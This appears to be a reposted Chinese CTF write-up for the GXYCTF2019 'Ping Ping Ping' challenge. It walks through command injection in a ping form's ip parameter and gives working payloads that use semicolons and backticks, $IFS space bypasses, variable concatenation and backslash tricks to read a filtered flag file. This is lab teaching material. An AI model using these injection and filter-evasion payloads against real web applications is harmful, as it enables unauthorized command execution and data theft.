当前位置: 代码迷 >> 综合 >> GXYCTF2019 Ping Ping Ping 1
  详细解决方案

GXYCTF2019 Ping Ping Ping 1

热度:18   发布时间:2023-11-24 23:18:17.0

解题步骤:
1,尝试用输入一个正确的IP地址
在这里插入图片描述

2,发现是linux系统下的网站,尝试用|和ls查看目录,列出文件
在这里插入图片描述
3,尝试查看flag文件,发现不能直接打开,且空格被过滤,原因:关键字被过滤
4,找到被过滤字符名单,尝试打开index.php文件,发现过滤字符列表
在这里插入图片描述

5,尝试绕过
代码中有个 $a 考虑进行变量覆盖,构造如下 payload

?ip=1;a=f;d=ag;c=l;cat$IFS$a$c$d.php
?ip=127.0.0.1;a=g,cat$IFS$1fla$a.php

或者另外一种方法:
内联输出:使用反引号 ``代替 |,经反引号的输出命令转换为输出构造playload

?ip=110.242.68.3;cat$IFS$9`ls`

总结:
1,如何看出是linux系统下的;
2,|的作用
3,index.php下有被过滤的字符的列表
4,如何绕过空格
linux下:

$IFS$任意数字  
${
    IFS}  
,  
<   
<>  
%20
%09

6、有时 cat 可能被过滤,那么尝试用 tac,反向输出;或者 linux命令中可以加 \,所以甚至可以 ca\t /fl\ag